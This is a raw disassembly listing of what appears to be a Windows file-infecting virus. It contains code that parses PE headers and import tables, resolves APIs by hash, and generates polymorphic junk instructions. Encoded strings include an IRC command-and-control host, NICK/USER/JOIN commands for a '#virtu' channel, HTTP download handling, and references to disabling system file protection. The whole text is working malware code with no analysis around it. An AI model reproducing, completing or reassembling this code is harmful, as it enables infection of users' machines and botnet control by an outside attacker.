loc_47EA1A:				; CODE XREF: sub_47E5AF+412j
		push	ecx
		push	edx
		push	ebx


loc_47EA1D:				; CODE XREF: sub_47E5AF+408j
		call	dword ptr [ebp+103F22h]
		add	esp, 0Ch
		call	dword ptr [ebp+103F2Ah]


loc_47EA2C:				; CODE XREF: sub_47E5AF:loc_47E9B2j
					; sub_47E5AF+417j
		add	esp, 8
		retn
; END OF FUNCTION CHUNK	FOR sub_47E5AF
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db  95h	; 
		db  30h	; 0
		db  3Eh	; >
		db  10h
		db    0
		db  33h	; 3
		db 0C9h	; 
		db  6Ah	; j
		db    0
		db  52h	; R
		db  68h	; h
		db  30h	; 0
		db    0
		db  32h	; 2
		db    0
		db  8Bh	; 
		db 0C4h	; 
		db  51h	; Q
		db  51h	; Q
		db  6Ah	; j
		db  40h	; @
		db  50h	; P
		db  51h	; Q
		db  6Ah	; j
		db  18h
		db  83h	; 
		db 0C0h	; 
		db    8
		db  54h	; T
		db  6Ah	; j
		db  0Eh
		db  50h	; P
		db 0FFh
		db  95h	; 
		db  1Eh
		db  3Fh	; ?
		db  10h
		db    0
		db  83h	; 
		db 0C4h	; 
		db  20h
		db  33h	; 3
		db 0D2h	; 
		db  85h	; 
		db 0C0h	; 
		db  0Fh
		db  99h	; 
		db 0C2h	; 
		db 0F7h	; 
		db 0DAh	; 
		db  58h	; X
		db  23h	; #
		db 0C2h	; 
		db 0C3h	; 
		db  57h	; W
		db  33h	; 3
		db 0FFh
		db 0E8h	; 
		db 0C1h	; 
		db 0FFh
		db 0FFh
		db 0FFh
		db  0Fh
		db  84h	; 
		db 0A5h	; 
		db    0
		db    0
		db    0
		db  50h	; P
		db  68h	; h
		db  28h	; (
		db  73h	; s
		db    0
		db    0
		db  8Bh	; 
		db 0D4h	; 
		db  6Ah	; j
		db    0
		db  8Bh	; 
		db 0CCh	; 
		db  6Ah	; j
		db  40h	; @
		db  68h	; h
		db    0
		db    0
		db  10h
		db    0
		db  6Ah	; j
		db    2
		db  52h	; R
		db  6Ah	; j
		db    0
		db  68h	; h
		db  28h	; (
		db  73h	; s
		db    0
		db    0
		db  6Ah	; j
		db    0
		db  51h	; Q
		db  53h	; S
		db  50h	; P
		db 0FFh
		db  95h	; 
		db  12h
		db  3Fh	; ?
		db  10h
		db    0
		db  5Fh	; _
		db  59h	; Y
		db 0FFh
		db  95h	; 
		db  62h	; b
		db  3Eh	; >
		db  10h
		db    0
		db  85h	; 
		db 0FFh
		db  74h	; t
		db  71h	; q
		db  8Bh	; 
		db  8Dh	; 
		db  90h	; 
		db  15h
		db  10h
		db    0
		db 0E3h	; 
		db  0Ch
		db  8Dh	; 
		db  95h	; 
		db    0
		db  10h
		db  10h
		db    0
		db    3
		db 0D1h	; 
		db  57h	; W
		db  53h	; S
		db 0FFh
		db 0D2h	; 
		db  8Bh	; 
		db  85h	; 
		db 0FEh	; 
		db  3Eh	; >
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  16h
		db  29h	; )
		db    0
		db    0
		db 0E8h	; 
		db  2Bh	; +
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; 
		db  85h	; 
		db  16h
		db  3Fh	; ?
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  63h	; c
		db  29h	; )
		db    0
		db    0
		db 0E8h	; 
		db  1Ah
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; 
		db  85h	; 
		db    2
		db  3Fh	; ?
		db  10h
		db    0
		db  8Dh	; 
		db  8Fh	; 
		db  6Ah	; j
		db  29h	; )
		db    0
		db    0
		db 0E8h	; 
		db    9
		db 0FFh
		db 0FFh
		db 0FFh
		db  8Bh	; 
		db  85h	; 
		db    6
		db  3Fh	; ?
		db  10h
		db    0
		db  85h	; 
		db 0C0h	; 
		db  74h	; t
		db  20h
		db  8Dh	; 
		db  8Fh	; 
		db  77h	; w
		db  29h	; )
		db    0
		db    0
		db 0E8h	; 
		db 0F4h	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  8Bh	; 
		db  85h	; 
		db  0Eh
		db  3Fh	; ?
		db  10h
		db    0
		db  85h	; 
		db 0C0h	; 
		db  74h	; t
		db  0Bh
		db  8Dh	; 
		db  8Fh	; 
		db  84h	; 
		db  29h	; )
		db    0
		db    0
		db 0E8h	; 
		db 0DFh	; 
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  8Bh	; 
		db 0C7h	; 
		db  5Fh	; _
		db 0C3h	; 
		db  55h	; U
		db 0E8h	; 
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 101B24h
		xor	ecx, ecx
		lea	eax, [ebp+101EAFh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+103E8Eh]
		xchg	eax, [esp]
		call	dword ptr [ebp+103E62h]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1B53ED81h, 0FF6A0010h, 1B1E958Dh,	52500010h
		dd 2420CDh, 0C483002Ah,	85C7660Ch, 101B64h, 85C720CDh
		dd 101B66h, 2A0024h, 1A6AC35Dh,	9E858h,	428D0000h, 0C9FEAA61h
		dd 69C3F075h, 103F7C95h, 8840500h, 95894208h, 103F7Ch
		dd 55C3E2F7h, 0E8h, 0ED815D00h,	101BADh, 3F809D8Bh, 7C830010h
		dd 0F000824h, 0B984h, 8EC8100h,	54000002h, 10468h, 0B695FF00h
		dd 8B00103Eh, 24848DFCh, 104h, 0E8006A50h, 4, 525256h
		dd 0B295FF57h, 3300103Eh, 4978DC9h, 51000001h, 51026A51h
		dd 68016Ah, 52400000h, 3E7E95FFh, 85960010h, 505B74F6h
		dd 1046854h, 0FF570000h, 22024B4h, 95FF0000h, 103F5Eh
		dd 74C08559h, 5014E316h, 6AD48Bh, 56575152h, 3EF695FFh
		dd 85590010h, 56D075C0h, 3E6295FFh, 578D0010h, 6A575244h
		dd 978D5844h, 104h, 6AC033ABh, 0ABF35910h, 50505050h, 52505050h
		dd 3E8695FFh, 0C4810010h, 208h,	82474FFh, 3F4E95FFh, 0FF530010h
		dd 103F4E95h, 4C25D00h,	0A3E8000h, 8B460175h, 10158C8Dh
		dd 8D19E300h, 10100095h, 56D10300h, 0C084D2FFh,	11F880Fh
		dd 840F0000h, 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h
		dd 0F175203Eh, 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h
		dd 6A51CEh, 0FF535651h,	103F4695h, 0C13B5900h, 0DF850Fh
		dd 858D0000h, 101EA3h, 0C68006Ah, 50000000h, 4695FF53h
		dd 3D00103Fh, 0Ch, 0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh
		dd 0A5850F56h, 83000000h, 3CAC08C6h, 99840F0Dh,	3C000000h
		dd 0ACF37520h, 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h
		dd 203CAC7Fh, 7E817C75h, 746820FFh, 81717574h, 3A70037Eh
		dd 68752F2Fh, 0FF47C6h,	10BA310Fh, 0F7000027h, 95FF52E2h
		dd 103EE6h, 5050C033h, 9E85050h, 44000000h, 6C6E776Fh
		dd 64616Fh, 3F5695FFh, 0C0850010h, 0C9333674h, 3F808589h
		dd 68510010h, 80000200h, 50565151h, 3F5A95FFh, 958D0010h
		dd 101BA7h, 54C93350h, 51525051h, 8E95FF51h, 8700103Eh
		dd 95FF2404h, 103E62h, 8D80C3F8h, 10157Fh, 6AC3F901h, 0FF016A01h
		dd 473FF33h, 0C08515FFh, 0DB335A74h, 0BB3D08Bh,	8D3C5003h
		dd 101DCBB5h, 0CBA8B00h, 8B000001h, 1088Ah, 2BF80300h
		dd 0CB8B60CBh, 7461A6F3h, 0F5E24705h, 0C7832EEBh, 0CC8B530Fh
		dd 50D48B57h, 51406A54h, 0FFFF6A52h, 103F2295h,	968D8B00h
		dd 8300103Eh, 0CF2B0CC4h, 0C707E983h, 0E8006A07h, 34F8900h
		dd 464F53C3h, 52415754h, 694D5C45h, 736F7263h, 5C74666Fh
		dd 646E6957h, 5C73776Fh, 72727543h, 56746E65h, 69737265h
		dd 455C6E6Fh, 6F6C7078h, 726572h, 67726154h, 6F487465h
		dd 2007473h, 7F500000h,	70010000h, 69786F72h, 72692E6Dh
		dd 6C616763h, 2E797861h, 4E006C70h, 204B4349h, 666D7163h
		dd 76766765h, 4553550Ah, 4A6A2052h, 204E494Fh, 72697626h
		dd 550A7574h, 0E8h, 0ED815D00h,	101EB5h, 157F85C6h, 0FF000010h
		dd 103EBA95h, 1FE8C100h, 1E6A3C74h, 3E72B58Bh, 0AC590010h
		dd 2A752E3Ch, 0FF3E8166h, 8D23751Dh, 103F76BDh,	2768B00h
		dd 0A566A557h, 38EC858Dh, 858F0010h, 103912h, 0FA4689FAh
		dd 0FBFE4E8Ch, 0CFE201B1h, 21E850EBh, 83FFFFFBh, 408247Ch
		dd 8E84475h, 53000000h,	442E4346h, 0FF004C4Ch, 103EC695h
		dd 74C00B00h, 26A930Dh,	6E95FF53h, 0FF00103Eh, 97E893D0h
		dd 0E8FFFFFEh, 0Bh, 5F434653h, 442E534Fh, 0FF004C4Ch, 103EC695h
		dd 0FE7CE800h, 0E8FFFFh, 0FFFFFFF6h, 1012D48Dh,	8DC93300h
		dd 10432485h, 51515100h, 51515051h, 0C295FF51h,	0E800103Eh
		dd 0Bh,	52455355h, 442E3233h, 0FF004C4Ch, 103EC695h, 0AE800h
		dd 73770000h, 6E697270h, 416674h, 6E95FF50h, 8900103Eh
		dd 103E7685h, 8D310F00h, 1019858Dh, 7C858900h, 5100103Fh
		dd 3EC695FFh, 68930010h, 4, 1992B58Dh, 8D590010h, 103F62BDh
		dd 0F5C2E800h, 0C766FFFFh, 101E7585h, 83500000h, 101E77A5h
		dd 958D0000h, 101E35h, 16A5450h, 6852006Ah, 80000002h
		dd 3F6695FFh, 0C0850010h, 8D22755Ah, 101E688Dh,	66A5200h
		dd 1E75B58Dh, 56540010h, 52515050h, 3F6A95FFh, 0FF580010h
		dd 103F6295h, 8385C600h, 1041h,	0CE8h, 4F535700h, 32334B43h
		dd 4C4C442Eh, 0C695FF00h, 9300103Eh, 768h, 0E9B58D00h
		dd 59001018h, 3F32BD8Dh, 3DE80010h, 0E8FFFFF5h,	0Ch, 494E4957h
		dd 2E54454Eh, 4C4C44h, 3EC695FFh, 0C0850010h, 235840Fh
		dd 68930000h, 5, 1927B58Dh, 8D590010h, 103F4EBDh, 0F506E800h
		dd 0BD83FFFFh, 103F52h,	10840F00h, 81000002h, 190ECh, 1685400h
		dd 0FF000001h, 103F3295h, 90C48100h, 50000001h,	6AD48Bh
		dd 5295FF52h, 8500103Fh, 0D7559C0h, 138868h, 0E695FF00h
		dd 0EB00103Eh, 77BD83E2h, 101Eh, 858D2975h, 101E7Bh, 3E95FF50h
		dd 8500103Fh, 89840FC0h, 8B000001h, 8B0C40h, 858F30FFh
		dd 101E77h, 418385C6h, 6A010010h, 6A016A00h, 4A95FF02h
		dd 8300103Fh, 840FFFF8h, 160h, 73958D93h, 6A00101Eh, 0FF535210h
		dd 103F3A95h, 0FC08500h, 14085h, 94BD8D00h, 0B100101Eh
		dd 0FA3CE808h, 9468FFFFh, 5E000000h, 3489E62Bh,	95FF5424h
		dd 103EBEh, 1EA2BD8Dh, 1B10010h, 0FFFA1DE8h, 8F958DFFh
		dd 6A00101Eh, 146800h, 53520000h, 3F4695FFh, 448D0010h
		dd 958D1424h, 104324h, 0AB60F50h, 1424448Bh, 208E0C1h
		dd 4A12014Ah, 34A1202h,	824440Bh, 0C10FE180h, 0B5108E0h
		dd 0FF102444h, 0BD8D5032h, 103F84h, 1CE8h, 362E2500h, 202E2078h
		dd 253A202Eh, 382E2525h, 20782578h, 4A0A7325h, 204E494Fh
		dd 95FF5700h, 103E76h, 0ACC481h, 6A0000h, 0FF535750h, 103F4695h
		dd 988D8B00h, 6A001015h, 6B1BE300h, 0E8510DC9h,	5, 0A642526h
		dd 95FF5700h, 103E76h, 500CC483h, 7680BEBh, 8D000000h
		dd 101EA8BDh, 0FF535700h, 103F4695h, 7EC08500h,	84B58D54h
		dd 8300103Fh, 101598A5h, 8D8D0000h, 104183h, 6ACE2Bh, 0FF535651h
		dd 103F4295h, 0F88300h,	8B912F7Eh, 84B58DFEh, 0B000103Fh
		dd 75AEF20Dh, 2AE86010h, 61FFFFFAh, 9E31772h, 0EB01778Dh
		dd 2BCF8BEAh, 84BD8DCEh, 0F300103Fh, 0EBF787A4h, 95FF53B9h
		dd 103F36h, 157FBD80h, 74010010h, 7530682Ah, 95FF0000h
		dd 103EE6h, 4183BD80h, 74000010h, 7785C711h, 101Eh, 0C6000000h
		dd 10418385h, 8E90000h,	0C7FFFFFEh, 10158885h, 0
		dd 4C25D80h, 4F0A0D00h,	6F6F6E20h, 666F206Eh, 66696C20h
		dd 4F202165h, 6D697420h, 6F742065h, 6C656320h, 61726265h
		dd 0D216574h, 2020200Ah, 204F2020h, 6D6D7573h, 67207265h
		dd 65647261h, 0A0D216Eh, 656C6552h, 656C746Eh, 796C7373h
		dd 70616820h, 61207970h, 6520646Eh, 63657078h, 746E6174h
		dd 7473202Ch, 69646E61h, 203A676Eh, 570A0D2Dh, 68637461h
		dd 20676E69h, 206C6C61h, 20796164h, 20646E61h, 6867696Eh
		dd 66202C74h, 6620726Fh, 6E656972h, 49207364h, 69617720h
		dd 0A0D3A74h, 72656857h, 72612065h, 6F792065h, 66202C75h
		dd 6E656972h, 203F7364h, 656D6F43h, 74492021h, 20736920h
		dd 656D6974h, 74492021h, 6C207327h, 21657461h, 4CA2A1A8h
		dd 50B7AB4h, 10A61429h,	0DB858B99h, 6E232596h, 40375232h
		dd 714BC3D4h, 53B81D98h, 3AAB5957h, 2FF61F75h, 10A61413h
		dd 6F9F8055h, 0ABD8C6BDh, 0C8C4EEA8h, 12h dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_47F414	proc near		; CODE XREF: sub_47F4CA:loc_47F4B8p
					; sub_47F51B+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr [ebp+1042F4h], 0
		and	dword ptr [ebp+1042F8h], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_47F430:				; CODE XREF: sub_47F414+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_47F452
		cmp	eax, [edx+8]
		jnb	short loc_47F452
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	[ebp+1042F4h], edx
		mov	[ebp+1042F8h], eax
		jmp	short loc_47F457
; ---------------------------------------------------------------------------


loc_47F452:				; CODE XREF: sub_47F414+23j
					; sub_47F414+28j
		add	edx, 28h
		loop	loc_47F430


loc_47F457:				; CODE XREF: sub_47F414+3Cj
		popa
		retn	4
sub_47F414	endp

; ---------------------------------------------------------------------------
		mov	[ebp+102467h], al
		call	sub_47F4CA
		push	20h
		lea	eax, [ebp+102394h]
		pop	ecx


loc_47F472:				; CODE XREF: fuck:0047F479j
		cmp	[eax], ebx
		jz	short loc_47F482
		add	eax, 4
		loop	loc_47F472
		inc	dword ptr [ebp+1042D0h]
		retn
; ---------------------------------------------------------------------------


loc_47F482:				; CODE XREF: fuck:0047F474j
		neg	ecx
		add	ecx, [ebp+102467h]
		jecxz	short loc_47F49C


loc_47F48C:				; CODE XREF: fuck:0047F494j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_47F48C
		mov	[ebp+102394h], ebx
; START	OF FUNCTION CHUNK FOR sub_47F4CA


loc_47F49C:				; CODE XREF: fuck:0047F48Aj
					; sub_47F4CA+34j
		cmp	dword ptr [edx], 0
		jz	short loc_47F4A6
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_47F4A6:				; CODE XREF: sub_47F4CA-2Bj
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_47F4B5
		push	dword ptr [edx]
		jmp	short loc_47F4B8
; ---------------------------------------------------------------------------


loc_47F4B5:				; CODE XREF: sub_47F4CA-1Bj
		push	dword ptr [edx+10h]


loc_47F4B8:				; CODE XREF: sub_47F4CA-17j
		call	sub_47F414
		sub	ecx, esi
		sub	ecx, [ebp+1042F8h]
		pop	eax
		add	ecx, [ebx+34h]
		retn
; END OF FUNCTION CHUNK	FOR sub_47F4CA

; =============== S U B	R O U T	I N E =======================================



sub_47F4CA	proc near		; CODE XREF: fuck:0047F461p

; FUNCTION CHUNK AT 0047F49C SIZE 0000002E BYTES

		pop	dword ptr [ebp+1042D4h]
		mov	dword ptr [ebp+1042D0h], 0
		call	sub_47F51B
		mov	eax, [ebp+1042D0h]
		call	near ptr dword_47EB50+43h
		call	sub_47F507
		cmp	dword ptr [ebp+1042D0h], 0
		jnz	short loc_47F500
		mov	[ebp+102410h], ebx
		jmp	short loc_47F49C
; ---------------------------------------------------------------------------


loc_47F500:				; CODE XREF: sub_47F4CA+2Cj
		dec	dword ptr [ebp+1042D0h]
		retn
sub_47F4CA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_47F507	proc near		; CODE XREF: sub_47F4CA+20p
		pop	dword ptr [ebp+1042D4h]
		mov	[ebp+1042D0h], edx
		call	sub_47F51B
		xor	ecx, ecx
		retn
sub_47F507	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_47F51B	proc near		; CODE XREF: sub_47F4CA+10p
					; sub_47F507+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_47F414
		add	edx, [ebp+1042F8h]
		add	edx, esi


loc_47F52F:				; CODE XREF: sub_47F51B+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_47F640
		cmp	dword ptr [edx+10h], 0
		jz	locret_47F640
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_47F414
		add	eax, [ebp+1042F8h]
		add	eax, esi
		push	eax


loc_47F555:				; CODE XREF: sub_47F51B+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_47F575
		cmp	cl, 2Eh
		jz	short loc_47F564


loc_47F561:				; CODE XREF: sub_47F51B+58j
		inc	eax
		jmp	short loc_47F555
; ---------------------------------------------------------------------------


loc_47F564:				; CODE XREF: sub_47F51B+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_47F561


loc_47F575:				; CODE XREF: sub_47F51B+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_47F638
		cmp	word ptr [eax-2], 3233h
		jnz	loc_47F638
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_47F598
		mov	ecx, [edx+10h]
		jmp	short loc_47F59A
; ---------------------------------------------------------------------------


loc_47F598:				; CODE XREF: sub_47F51B+76j
		mov	ecx, [edx]


loc_47F59A:				; CODE XREF: sub_47F51B+7Bj
		add	esi, ecx
		push	ecx
		call	sub_47F414
		add	esi, [ebp+1042F8h]


loc_47F5A8:				; CODE XREF: sub_47F51B+90j
					; sub_47F51B+117j
		lodsd
		test	eax, eax
		js	short loc_47F5A8
		jz	loc_47F637
		push	dword ptr [ebp+1042F8h]
		push	eax
		call	sub_47F414
		add	eax, [ebp+1042F8h]
		pop	dword ptr [ebp+1042F8h]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_47F5D4:				; CODE XREF: sub_47F51B+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_47F5EB
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_47F5D4
; ---------------------------------------------------------------------------


loc_47F5EB:				; CODE XREF: sub_47F51B+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_47F631
		cmp	ebx, 0DB6E45A8h
		jz	short loc_47F631
		cmp	ebx, 0FFA13B59h
		jz	short loc_47F631
		cmp	ebx, 0ACB522D6h
		jz	short loc_47F631
		cmp	ebx, 0F358E993h
		jz	short loc_47F631
		cmp	ebx, 0F358E97Dh
		jz	short loc_47F631
		cmp	ebx, 0E1253F46h
		jz	short loc_47F631
		cmp	ebx, 0E1253F30h
		jz	short loc_47F631
		call	dword ptr [ebp+1042D4h]


loc_47F631:				; CODE XREF: sub_47F51B+D6j
					; sub_47F51B+DEj ...
		pop	ebx
		jmp	loc_47F5A8
; ---------------------------------------------------------------------------


loc_47F637:				; CODE XREF: sub_47F51B+92j
		pop	esi


loc_47F638:				; CODE XREF: sub_47F51B+60j
					; sub_47F51B+6Cj
		add	edx, 14h
		jmp	loc_47F52F
; ---------------------------------------------------------------------------

locret_47F640:				; CODE XREF: sub_47F51B+18j
					; sub_47F51B+22j
		retn
sub_47F51B	endp

; ---------------------------------------------------------------------------
		db 2, 6Ah, 4
		dd 0F549E858h, 9588FFFFh, 102641h, 1831B866h, 0E4C0E202h
		dd 66E20203h, 58066AABh, 0FFF52EE8h, 8C283FFh, 56AD187h
		dd 0F521E858h, 0FA80FFFFh, 0B00B7303h, 41850250h, 0AA001026h
		dd 686A27EBh, 0FA80AA58h, 0B0187503h, 0F501E811h, 1B8FFFFh
		dd 84000000h, 0D10D74D2h, 0EBCAFEE0h, 0B805EBF6h, 80000000h
		dd 0C3BFE2ABh, 39CC958Dh, 0D72B0010h, 0F7C3DAF7h, 1039C085h
		dd 0
; ---------------------------------------------------------------------------
		adc	[edi], cl
		xchg	eax, ebp
		rol	cl, 0E0h
		or	esi, esi
		test	[esi+1001039h],	edi
		jnz	short loc_47F6D6
		or	ax, 2589h
		jmp	short loc_47F6E9
; ---------------------------------------------------------------------------


loc_47F6D6:				; CODE XREF: fuck:0047F6CEj
		test	byte ptr [ebp+1039BEh],	2
		jnz	short loc_47F6E5
		or	ax, 2531h
		jmp	short loc_47F6E9
; ---------------------------------------------------------------------------


loc_47F6E5:				; CODE XREF: fuck:0047F6DDj
		or	ax, 2501h


loc_47F6E9:				; CODE XREF: fuck:0047F6D4j
					; fuck:0047F6E3j
		stosw
		call	near ptr dword_47F644+68h
		mov	eax, [ebx+34h]
		mov	[ebp+1042E8h], edx
		stosd
		retn

; =============== S U B	R O U T	I N E =======================================



sub_47F6FB	proc near		; CODE XREF: fuck:0047FD47p
		test	dword ptr [ebp+1039C0h], 10000000h
		setnz	al
		add	al, 0BCh
		stosb
		call	near ptr dword_47F644+68h
		mov	[ebp+1042ECh], edx
		test	byte ptr [ebp+1039BEh],	1
		jnz	short loc_47F723
		rdtsc
		jmp	short loc_47F725
; ---------------------------------------------------------------------------


loc_47F723:				; CODE XREF: sub_47F6FB+22j
		sub	eax, eax


loc_47F725:				; CODE XREF: sub_47F6FB+26j
		stosd
		retn
sub_47F6FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_47F727	proc near		; CODE XREF: fuck:loc_47FD51p
		test	dword ptr [ebp+1039C0h], 10000000h
		jz	short loc_47F75A
		mov	al, [ebp+1039BAh]
		shl	eax, 0Bh
		or	ax, 458Bh
		stosw
		mov	al, 0F8h
		stosb
		mov	al, [ebp+1039BAh]
		shl	eax, 1Bh
		add	eax, 6896467h
		stosd
		xor	eax, eax
		stosw
		jmp	short locret_47F76C
; ---------------------------------------------------------------------------


loc_47F75A:				; CODE XREF: sub_47F727+Aj
		mov	eax, 58F64h
		stosd
		mov	al, [ebp+1039BAh]
		add	al, 58h
		shl	eax, 18h
		stosd

locret_47F76C:				; CODE XREF: sub_47F727+31j
		retn
sub_47F727	endp


; =============== S U B	R O U T	I N E =======================================



sub_47F76D	proc near		; CODE XREF: sub_47F7DF:loc_47F806p
					; sub_47F7DF+4Cp ...
		mov	byte ptr [ebp+10279Ch],	9
		jmp	short loc_47F79B
; ---------------------------------------------------------------------------


loc_47F776:				; CODE XREF: sub_47F76D+44j
		mov	al, 0FCh
		jmp	short loc_47F79A
; ---------------------------------------------------------------------------


loc_47F77A:				; CODE XREF: sub_47F76D+48j
		mov	ax, 0EBh
		stosw
		jmp	short loc_47F79B
; ---------------------------------------------------------------------------


loc_47F782:				; CODE XREF: sub_47F76D+4Cj
		push	4
		pop	eax
		call	near ptr dword_47EB50+43h
		lea	eax, [edx+edx*8]
		shl	eax, 8
		add	ax, 0C089h
		stosw
		jmp	short loc_47F79B
; ---------------------------------------------------------------------------


loc_47F798:				; CODE XREF: sub_47F76D+50j
		mov	al, 90h


loc_47F79A:				; CODE XREF: sub_47F76D+Bj
					; sub_47F76D+60j ...
		stosb


loc_47F79B:				; CODE XREF: sub_47F76D+7j
					; sub_47F76D+13j ...
		push	15h
		pop	eax
		call	near ptr dword_47EB50+43h
		add	byte ptr [ebp+10279Ch],	6
		cmp	dl, 8
		jnb	short locret_47F7DE
		test	dl, dl
		jz	short loc_47F776
		dec	dl
		jz	short loc_47F77A
		dec	dl
		jz	short loc_47F782
		dec	dl
		jz	short loc_47F798
		dec	dl
		jz	short loc_47F7CF
		dec	dl
		jz	short loc_47F7D6
		dec	dl
		jz	short loc_47F7DA
		mov	al, 0F9h
		jmp	short loc_47F79A
; ---------------------------------------------------------------------------


loc_47F7CF:				; CODE XREF: sub_47F76D+54j
		mov	al, 87h
		stosb
		mov	al, 0DBh
		jmp	short loc_47F79A
; ---------------------------------------------------------------------------


loc_47F7D6:				; CODE XREF: sub_47F76D+58j
		mov	al, 0F5h
		jmp	short loc_47F79A
; ---------------------------------------------------------------------------


loc_47F7DA:				; CODE XREF: sub_47F76D+5Cj
		mov	al, 0F8h
		jmp	short loc_47F79A
; ---------------------------------------------------------------------------

locret_47F7DE:				; CODE XREF: sub_47F76D+40j
		retn
sub_47F76D	endp


; =============== S U B	R O U T	I N E =======================================



sub_47F7DF	proc near		; CODE XREF: fuck:loc_47FC28p
					; fuck:0047FDDBp
		test	dword ptr [ebp+1039C0h], 2000h
		mov	al, 86h
		jnz	short loc_47F7EF
		add	al, 4


loc_47F7EF:				; CODE XREF: sub_47F7DF+Cj
		lea	ecx, [edi-2]
		mov	ah, [ebp+1039B8h]
		stosw
		cmp	ah, 5
		jnz	short loc_47F806
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb


loc_47F806:				; CODE XREF: sub_47F7DF+1Ej
		call	sub_47F76D
		test	dword ptr [ebp+1039C0h], 4000h
		mov	ax, 3166h
		jnz	short loc_47F81D
		mov	ah, 29h


loc_47F81D:				; CODE XREF: sub_47F7DF+3Aj
		stosw
		mov	al, 18h
		or	al, [ebp+1039BAh]
		shl	al, 3
		stosb
		call	sub_47F76D
		mov	al, 88h
		test	dword ptr [ebp+1039C0h], 8000h
		jnz	short loc_47F840
		mov	al, 86h


loc_47F840:				; CODE XREF: sub_47F7DF+5Dj
		mov	ah, [ebp+1039B8h]
		stosw
		cmp	ah, 5
		jnz	short locret_47F854
		mov	al, 0
		or	byte ptr [edi-1], 40h
		stosb

locret_47F854:				; CODE XREF: sub_47F7DF+6Cj
		retn
sub_47F7DF	endp

; ---------------------------------------------------------------------------


loc_47F855:				; CODE XREF: sub_48045B+183p
		lea	edi, [ebp+1039CCh]
		call	sub_47F76D
		test	dword ptr [ebp+1039C0h], 400000h
		jz	short near ptr unk_47F86F
		mov	al, 60h
		stosb
; ---------------------------------------------------------------------------
unk_47F86F	db 0F7h	; 		; CODE XREF: fuck:0047F86Aj
		db  85h	; 
		db 0C0h	; 
		db  39h	; 9
		db  10h
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
		adc	[edi+eax-48h], dh
		push	ebp
		mov	ebp, esp
		add	[ebx-3F7A08B1h], ch
		cmp	[eax], edx
		add	[ebx], al
; ---------------------------------------------------------------------------
		db 2 dup(0), 2
		dd 0F0840Fh, 0E8B00000h, 0BD89ABAAh, 1042D8h, 0FFFECCE8h
		dd 0AAE8B0FFh, 0DCBD89ABh, 0E8001042h, 0FFFFFEBDh, 39C085F7h
		dd 30010h, 1A740000h, 39C085F7h, 10h, 0A740200h, 0FFFE2EE8h
		dd 0FE9BE8FFh, 0E9B0FFFFh, 858BABAAh, 1042D8h, 0C82BCF8Bh
		dd 42E0BD89h, 48890010h, 6467B8FCh, 33AB36FFh, 0F7AB66C0h
		dd 1039C085h, 300h, 0F6137400h,	1039BE85h, 0A748000h, 0FFFDAAE8h
		dd 0FE5BE8FFh, 67B8FFFFh, 0AB268964h, 0AB66C033h, 39C085F7h
		dd 30010h, 5A740000h, 39BE85F6h, 75800010h, 0FD81E80Ah
		dd 32E8FFFFh, 0E8FFFFFEh, 0FFFFFD02h, 14E820B0h, 0E3FFFFFBh
		dd 0FFB86639h, 91AB6615h, 0C0958BABh, 0F7001039h, 3C2F7D2h
		dd 75000000h, 0FCDCE814h, 1FB0FFFFh, 0FFFAEEE8h, 0FFB866FFh
		dd 91AB6615h, 8BCF8BABh, 1042E085h, 89C82B00h, 85F7FC48h
		dd 1039C0h, 3, 85F73874h, 1039C0h, 0C000000h, 85F72C74h
		dd 1039C0h, 2000000h, 0C2E80A75h, 0E8FFFFFDh, 0FFFFFD4Bh
		dd 39C085F7h, 10h, 0A740800h, 0FFFDACE8h, 0FD61E8FFh, 85F7FFFFh
		dd 1039C0h, 4, 96E81774h, 0B8FFFFFDh, 0C8FEC029h, 0C008B8ABh
		dd 0B8AB0474h, 67EBF875h, 0FD7FE8ABh, 85F7FFFFh, 1039C0h
